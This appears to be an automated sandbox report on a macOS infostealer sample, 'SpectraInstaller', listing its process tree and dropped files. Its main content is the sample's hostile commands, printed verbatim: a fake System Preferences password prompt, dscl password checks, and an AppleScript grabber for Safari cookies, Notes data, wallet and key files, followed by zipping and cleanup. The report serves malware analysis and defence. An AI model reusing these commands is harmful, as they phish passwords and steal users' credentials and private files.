Analysis

  • max time kernel
    64s
  • max time network
    64s
  • platform
    macos-10.15_amd64
  • resource
    macos-20240410-en
  • resource tags

    arch:amd64arch:i386image:macos-20240410-enkernel:19b77alocale:en-usos:macos-10.15-amd64system
  • submitted
    03/06/2024, 15:56

General

  • Target
    SpectraInstaller/SpectraInstaller
  • Size 431KB
  • Sample240603-tdf2sabe7y
  • SHA256 8f49b592fdeaeb49da7b285c74ba561531a832209d4b2aa7d12ef987f88b6a08
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Queries the macOS version information. 1 TTPs 2 IoCs

    An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.

  • System Checks 1 TTPs 2 IoCs

    Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox.

  • File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer) may leave traces to indicate to what was done within a network and how. Removal of these files can occur.

  • AppleScript 1 TTPs 14 IoCs

    AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.

  • Resource Forking 1 TTPs 2 IoCs

    Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.

Processes

  • /bin/sh
    sh -c "sudo /bin/zsh -c \"/Users/run/SpectraInstaller/SpectraInstaller\""
    1⤵
      PID:487
    • /bin/bash
      sh -c "sudo /bin/zsh -c \"/Users/run/SpectraInstaller/SpectraInstaller\""
      1⤵
        PID:487
      • /usr/bin/sudo
        sudo /bin/zsh -c /Users/run/SpectraInstaller/SpectraInstaller
        1⤵
          PID:487
          • /bin/zsh
            /bin/zsh -c /Users/run/SpectraInstaller/SpectraInstaller
            2⤵
              PID:488
            • /Users/run/SpectraInstaller/SpectraInstaller
              /Users/run/SpectraInstaller/SpectraInstaller
              2⤵
                PID:488
            • /bin/sh
              sh -c "osascript -e 'tell application \"Terminal\" to set visible of front window to false'"
              1⤵
                PID:489
              • /bin/bash
                sh -c "osascript -e 'tell application \"Terminal\" to set visible of front window to false'"
                1⤵
                  PID:489
                • /usr/bin/osascript
                  osascript -e "tell application \"Terminal\" to set visible of front window to false"
                  1⤵
                    PID:489
                  • /usr/libexec/xpcproxy
                    xpcproxy com.apple.Terminal.1804
                    1⤵
                      PID:490
                    • /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal
                      /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal
                      1⤵
                        PID:490
                        • /usr/bin/login
                          login -pf run
                          2⤵
                            PID:509
                            • /bin/zsh
                              -zsh
                              3⤵
                                PID:511
                                • /usr/libexec/path_helper
                                  /usr/libexec/path_helper -s
                                  4⤵
                                    PID:512
                                  • /usr/bin/locale
                                    locale LC_CTYPE
                                    4⤵
                                      PID:513
                                    • /usr/bin/open
                                      open SpectraInstaller
                                      4⤵
                                        PID:535
                                  • /usr/bin/login
                                    login -pf run
                                    2⤵
                                      PID:539
                                      • /bin/zsh
                                        -zsh
                                        3⤵
                                          PID:540
                                          • /usr/libexec/path_helper
                                            /usr/libexec/path_helper -s
                                            4⤵
                                              PID:541
                                            • /usr/bin/locale
                                              locale LC_CTYPE
                                              4⤵
                                                PID:542
                                              • /Users/run/SpectraInstaller/SpectraInstaller
                                                /Users/run/SpectraInstaller/SpectraInstaller
                                                4⤵
                                                  PID:543
                                          • /bin/sh
                                            sh -c "mkdir /Users/root/945561420"
                                            1⤵
                                              PID:527
                                            • /bin/bash
                                              sh -c "mkdir /Users/root/945561420"
                                              1⤵
                                                PID:527
                                              • /bin/mkdir
                                                mkdir /Users/root/945561420
                                                1⤵
                                                  PID:527
                                                • /bin/sh
                                                  sh -c "dscl /Local/Default -authonly root \"\""
                                                  1⤵
                                                    PID:528
                                                  • /bin/bash
                                                    sh -c "dscl /Local/Default -authonly root \"\""
                                                    1⤵
                                                      PID:528
                                                    • /usr/bin/dscl
                                                      dscl /Local/Default -authonly root
                                                      1⤵
                                                        PID:528
                                                      • /bin/sh
                                                        sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings \\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"
                                                        1⤵
                                                          PID:529
                                                        • /bin/bash
                                                          sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings \\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"
                                                          1⤵
                                                            PID:529
                                                          • /usr/bin/osascript
                                                            osascript -e "display dialog \"To launch the application, you need to update the system settings \\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer"
                                                            1⤵
                                                              PID:529
                                                            • /bin/sh
                                                              sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings You entered an invalid password.\\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"
                                                              1⤵
                                                                PID:536
                                                              • /bin/bash
                                                                sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings You entered an invalid password.\\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"
                                                                1⤵
                                                                  PID:536
                                                                • /usr/bin/osascript
                                                                  osascript -e "display dialog \"To launch the application, you need to update the system settings You entered an invalid password.\\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer"
                                                                  1⤵
                                                                    PID:536
                                                                  • /usr/libexec/xpcproxy
                                                                    xpcproxy com.apple.quicklook.ui.helper
                                                                    1⤵
                                                                      PID:537
                                                                    • /System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper
                                                                      /System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper
                                                                      1⤵
                                                                        PID:537
                                                                      • /usr/libexec/xpcproxy
                                                                        xpcproxy com.apple.metadata.mdwrite
                                                                        1⤵
                                                                          PID:538
                                                                        • /bin/sh
                                                                          sh -c "osascript -e 'tell application \"Terminal\" to set visible of front window to false'"
                                                                          1⤵
                                                                            PID:544
                                                                          • /bin/bash
                                                                            sh -c "osascript -e 'tell application \"Terminal\" to set visible of front window to false'"
                                                                            1⤵
                                                                              PID:544
                                                                            • /usr/bin/osascript
                                                                              osascript -e "tell application \"Terminal\" to set visible of front window to false"
                                                                              1⤵
                                                                                PID:544
                                                                              • /bin/sh
                                                                                sh -c "mkdir /Users/run/946418577"
                                                                                1⤵
                                                                                  PID:547
                                                                                • /bin/bash
                                                                                  sh -c "mkdir /Users/run/946418577"
                                                                                  1⤵
                                                                                    PID:547
                                                                                  • /bin/mkdir
                                                                                    mkdir /Users/run/946418577
                                                                                    1⤵
                                                                                      PID:547
                                                                                    • /bin/sh
                                                                                      sh -c sw_vers
                                                                                      1⤵
                                                                                        PID:548
                                                                                      • /bin/bash
                                                                                        sh -c sw_vers
                                                                                        1⤵
                                                                                          PID:548
                                                                                        • /usr/bin/sw_vers
                                                                                          sw_vers
                                                                                          1⤵
                                                                                            PID:548
                                                                                          • /bin/sh
                                                                                            sh -c "system_profiler SPHardwareDataType"
                                                                                            1⤵
                                                                                              PID:549
                                                                                            • /bin/bash
                                                                                              sh -c "system_profiler SPHardwareDataType"
                                                                                              1⤵
                                                                                                PID:549
                                                                                              • /usr/sbin/system_profiler
                                                                                                system_profiler SPHardwareDataType
                                                                                                1⤵
                                                                                                  PID:549
                                                                                                • /bin/sh
                                                                                                  sh -c "system_profiler SPDisplaysDataType"
                                                                                                  1⤵
                                                                                                    PID:551
                                                                                                  • /bin/bash
                                                                                                    sh -c "system_profiler SPDisplaysDataType"
                                                                                                    1⤵
                                                                                                      PID:551
                                                                                                    • /usr/sbin/system_profiler
                                                                                                      system_profiler SPDisplaysDataType
                                                                                                      1⤵
                                                                                                        PID:551
                                                                                                      • /bin/sh
                                                                                                        sh -c "dscl /Local/Default -authonly run \"\""
                                                                                                        1⤵
                                                                                                          PID:553
                                                                                                        • /bin/bash
                                                                                                          sh -c "dscl /Local/Default -authonly run \"\""
                                                                                                          1⤵
                                                                                                            PID:553
                                                                                                          • /usr/bin/dscl
                                                                                                            dscl /Local/Default -authonly run
                                                                                                            1⤵
                                                                                                              PID:553
                                                                                                            • /bin/sh
                                                                                                              sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings \\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"
                                                                                                              1⤵
                                                                                                                PID:554
                                                                                                              • /bin/bash
                                                                                                                sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings \\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"
                                                                                                                1⤵
                                                                                                                  PID:554
                                                                                                                • /usr/bin/osascript
                                                                                                                  osascript -e "display dialog \"To launch the application, you need to update the system settings \\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer"
                                                                                                                  1⤵
                                                                                                                    PID:554
                                                                                                                  • /usr/libexec/xpcproxy
                                                                                                                    xpcproxy com.apple.ReportMemoryException
                                                                                                                    1⤵
                                                                                                                      PID:555
                                                                                                                    • /usr/libexec/ReportMemoryException
                                                                                                                      /usr/libexec/ReportMemoryException
                                                                                                                      1⤵
                                                                                                                        PID:555
                                                                                                                      • /bin/sh
                                                                                                                        sh -c "dscl /Local/Default -authonly run root"
                                                                                                                        1⤵
                                                                                                                          PID:556
                                                                                                                        • /bin/bash
                                                                                                                          sh -c "dscl /Local/Default -authonly run root"
                                                                                                                          1⤵
                                                                                                                            PID:556
                                                                                                                          • /usr/bin/dscl
                                                                                                                            dscl /Local/Default -authonly run root
                                                                                                                            1⤵
                                                                                                                              PID:556
                                                                                                                            • /bin/sh
                                                                                                                              sh -c "mkdir -p '/Users/run/946418577/Chromium/Chrome'"
                                                                                                                              1⤵
                                                                                                                                PID:557
                                                                                                                              • /bin/bash
                                                                                                                                sh -c "mkdir -p '/Users/run/946418577/Chromium/Chrome'"
                                                                                                                                1⤵
                                                                                                                                  PID:557
                                                                                                                                • /bin/mkdir
                                                                                                                                  mkdir -p /Users/run/946418577/Chromium/Chrome
                                                                                                                                  1⤵
                                                                                                                                    PID:557
                                                                                                                                  • /bin/sh
                                                                                                                                    sh -c "osascript -e 'set baseFolderPath to (path to home folder as text) & \"946418577\"' -e 'set fileGrabberFolderPath to (path to home folder as text) & \"946418577:FileGrabber:\"' -e 'tell application \"Finder\"' -e 'set username to short user name of (system info)' -e 'try' -e 'if not (exists folder fileGrabberFolderPath) then' -e 'make new folder at folder baseFolderPath with properties {name:\"FileGrabber\"}' -e 'end if' -e 'set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\")' -e 'try' -e 'duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder baseFolderPath with replacing' -e 'end try' -e 'set homePath to path to home folder as string' -e 'set sourceFilePath to homePath & \"Library:Group Containers:group.com.apple.notes:\"' -e 'try' -e 'duplicate file \"NoteStore.sqlite\" of folder sourceFilePath to folder baseFolderPath with replacing' -e 'end try' -e 'set extensionsList to {\"txt\", \"docx\", \"rtf\", \"doc\", \"wallet\", \"keys\", \"key\"}' -e 'set desktopFiles to every file of desktop' -e 'set documentsFiles to every file of folder \"Documents\" of (path to home folder)' -e 'repeat with aFile in (desktopFiles & documentsFiles)' -e 'set fileExtension to name extension of aFile' -e 'if fileExtension is in extensionsList then' -e 'set fileSize to size of aFile' -e 'if fileSize ≤ 51200 then' -e 'duplicate aFile to folder fileGrabberFolderPath with replacing' -e 'end if' -e 'end if' -e 'end repeat' -e 'end try' -e 'end tell'"
                                                                                                                                    1⤵
                                                                                                                                      PID:558
                                                                                                                                    • /bin/bash
                                                                                                                                      sh -c "osascript -e 'set baseFolderPath to (path to home folder as text) & \"946418577\"' -e 'set fileGrabberFolderPath to (path to home folder as text) & \"946418577:FileGrabber:\"' -e 'tell application \"Finder\"' -e 'set username to short user name of (system info)' -e 'try' -e 'if not (exists folder fileGrabberFolderPath) then' -e 'make new folder at folder baseFolderPath with properties {name:\"FileGrabber\"}' -e 'end if' -e 'set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\")' -e 'try' -e 'duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder baseFolderPath with replacing' -e 'end try' -e 'set homePath to path to home folder as string' -e 'set sourceFilePath to homePath & \"Library:Group Containers:group.com.apple.notes:\"' -e 'try' -e 'duplicate file \"NoteStore.sqlite\" of folder sourceFilePath to folder baseFolderPath with replacing' -e 'end try' -e 'set extensionsList to {\"txt\", \"docx\", \"rtf\", \"doc\", \"wallet\", \"keys\", \"key\"}' -e 'set desktopFiles to every file of desktop' -e 'set documentsFiles to every file of folder \"Documents\" of (path to home folder)' -e 'repeat with aFile in (desktopFiles & documentsFiles)' -e 'set fileExtension to name extension of aFile' -e 'if fileExtension is in extensionsList then' -e 'set fileSize to size of aFile' -e 'if fileSize ≤ 51200 then' -e 'duplicate aFile to folder fileGrabberFolderPath with replacing' -e 'end if' -e 'end if' -e 'end repeat' -e 'end try' -e 'end tell'"
                                                                                                                                      1⤵
                                                                                                                                        PID:558
                                                                                                                                      • /usr/bin/osascript
                                                                                                                                        osascript -e "set baseFolderPath to (path to home folder as text) & \"946418577\"" -e "set fileGrabberFolderPath to (path to home folder as text) & \"946418577:FileGrabber:\"" -e "tell application \"Finder\"" -e "set username to short user name of (system info)" -e try -e "if not (exists folder fileGrabberFolderPath) then" -e "make new folder at folder baseFolderPath with properties {name:\"FileGrabber\"}" -e "end if" -e "set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\")" -e try -e "duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder baseFolderPath with replacing" -e "end try" -e "set homePath to path to home folder as string" -e "set sourceFilePath to homePath & \"Library:Group Containers:group.com.apple.notes:\"" -e try -e "duplicate file \"NoteStore.sqlite\" of folder sourceFilePath to folder baseFolderPath with replacing" -e "end try" -e "set extensionsList to {\"txt\", \"docx\", \"rtf\", \"doc\", \"wallet\", \"keys\", \"key\"}" -e "set desktopFiles to every file of desktop" -e "set documentsFiles to every file of folder \"Documents\" of (path to home folder)" -e "repeat with aFile in (desktopFiles & documentsFiles)" -e "set fileExtension to name extension of aFile" -e "if fileExtension is in extensionsList then" -e "set fileSize to size of aFile" -e "if fileSize ≤ 51200 then" -e "duplicate aFile to folder fileGrabberFolderPath with replacing" -e "end if" -e "end if" -e "end repeat" -e "end try" -e "end tell"
                                                                                                                                        1⤵
                                                                                                                                          PID:558
                                                                                                                                        • /usr/libexec/xpcproxy
                                                                                                                                          xpcproxy com.apple.DesktopServicesHelper.F34617CA-9E20-4315-A0EC-314AA10B258A
                                                                                                                                          1⤵
                                                                                                                                            PID:561
                                                                                                                                          • /System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper
                                                                                                                                            /System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper
                                                                                                                                            1⤵
                                                                                                                                              PID:561
                                                                                                                                            • /bin/sh
                                                                                                                                              sh -c "ditto -c -k --sequesterRsrc --keepParent /Users/run/946418577 /Users/run/946418577.zip --norsrc --noextattr"
                                                                                                                                              1⤵
                                                                                                                                                PID:562
                                                                                                                                              • /bin/bash
                                                                                                                                                sh -c "ditto -c -k --sequesterRsrc --keepParent /Users/run/946418577 /Users/run/946418577.zip --norsrc --noextattr"
                                                                                                                                                1⤵
                                                                                                                                                  PID:562
                                                                                                                                                • /usr/bin/ditto
                                                                                                                                                  ditto -c -k --sequesterRsrc --keepParent /Users/run/946418577 /Users/run/946418577.zip --norsrc --noextattr
                                                                                                                                                  1⤵
                                                                                                                                                    PID:562
                                                                                                                                                  • /bin/sh
                                                                                                                                                    sh -c "rm -rf /Users/run/946418577"
                                                                                                                                                    1⤵
                                                                                                                                                      PID:563
                                                                                                                                                    • /bin/bash
                                                                                                                                                      sh -c "rm -rf /Users/run/946418577"
                                                                                                                                                      1⤵
                                                                                                                                                        PID:563
                                                                                                                                                      • /bin/rm
                                                                                                                                                        rm -rf /Users/run/946418577
                                                                                                                                                        1⤵
                                                                                                                                                          PID:563
                                                                                                                                                        • /bin/sh
                                                                                                                                                          sh -c "rm /Users/run/946418577.zip"
                                                                                                                                                          1⤵
                                                                                                                                                            PID:564
                                                                                                                                                          • /bin/bash
                                                                                                                                                            sh -c "rm /Users/run/946418577.zip"
                                                                                                                                                            1⤵
                                                                                                                                                              PID:564
                                                                                                                                                            • /bin/rm
                                                                                                                                                              rm /Users/run/946418577.zip
                                                                                                                                                              1⤵
                                                                                                                                                                PID:564
                                                                                                                                                              • /bin/sh
                                                                                                                                                                sh -c "osascript -e 'display dialog \"Some error occurred while running the application.\" buttons {\"OK\"} default button 1 with icon stop'"
                                                                                                                                                                1⤵
                                                                                                                                                                  PID:565
                                                                                                                                                                • /bin/bash
                                                                                                                                                                  sh -c "osascript -e 'display dialog \"Some error occurred while running the application.\" buttons {\"OK\"} default button 1 with icon stop'"
                                                                                                                                                                  1⤵
                                                                                                                                                                    PID:565
                                                                                                                                                                  • /usr/bin/osascript
                                                                                                                                                                    osascript -e "display dialog \"Some error occurred while running the application.\" buttons {\"OK\"} default button 1 with icon stop"
                                                                                                                                                                    1⤵
                                                                                                                                                                      PID:565

                                                                                                                                                                    Network

                                                                                                                                                                          MITRE ATT&CK Enterprise v15

                                                                                                                                                                          Replay Monitor

                                                                                                                                                                          Loading Replay Monitor...

                                                                                                                                                                          Downloads

                                                                                                                                                                          Autofill0

                                                                                                                                                                          • Path /Users/run/./946418577/Chromium/Chrome/Autofill0
                                                                                                                                                                          • Size 90KB
                                                                                                                                                                          • SHA256 5b6dd3116e1d3ecbf6d07ecfc03f1537ab00ce91336cc7c6cddda6df0c9984d3
                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                                                          Cookies2

                                                                                                                                                                          • Path /Users/run/./946418577/Chromium/Chrome/Cookies2
                                                                                                                                                                          • Size 20KB
                                                                                                                                                                          • SHA256 d52ad17cc5096119732f06311ef2e25005c2a00f551c9684e2d655cbc846455b
                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                                                          Password1

                                                                                                                                                                          • Path /Users/run/./946418577/Chromium/Chrome/Password1
                                                                                                                                                                          • Size 40KB
                                                                                                                                                                          • SHA256 45bda2415419c24d2526ae60cae5ee1d66bc8d2cc986bb9e94c0f3c414af06c1
                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                                                          Sysinfo.txt

                                                                                                                                                                          • Path /Users/run/./946418577/Sysinfo.txt
                                                                                                                                                                          • Size 1KB
                                                                                                                                                                          • SHA256 6e50323737f1ebceb1d9f4e1fb36e5b02ff684de7711f54df08128e966f130da
                                                                                                                                                                          • MD5 SHA1 SHA512

                                                                                                                                                                          login-keychain

                                                                                                                                                                          • Path /Users/run/./946418577/login-keychain
                                                                                                                                                                          • Size 104KB
                                                                                                                                                                          • SHA256 55343602d16beca6a1802ccc0fe5c504ceb6818860725b7ae3f1b89de1f8f38b
                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                                                          password-entered

                                                                                                                                                                          • Path /Users/run/./946418577/password-entered
                                                                                                                                                                          • Size 4B
                                                                                                                                                                          • SHA256 4813494d137e1631bba301d5acab6e7bb7aa74ce1185d456565ef51d737677b2
                                                                                                                                                                          • MD5 SHA1 SHA512

                                                                                                                                                                          data.data

                                                                                                                                                                          • Path /var/root/Library/Saved Application State/com.apple.osascript.savedState/data.data
                                                                                                                                                                          • Size 1KB
                                                                                                                                                                          • SHA256 16c9e396895081b3882d4329e50daa027f8986ab74f682f696ddf82b1b3be426
                                                                                                                                                                          • MD5 SHA1 SHA512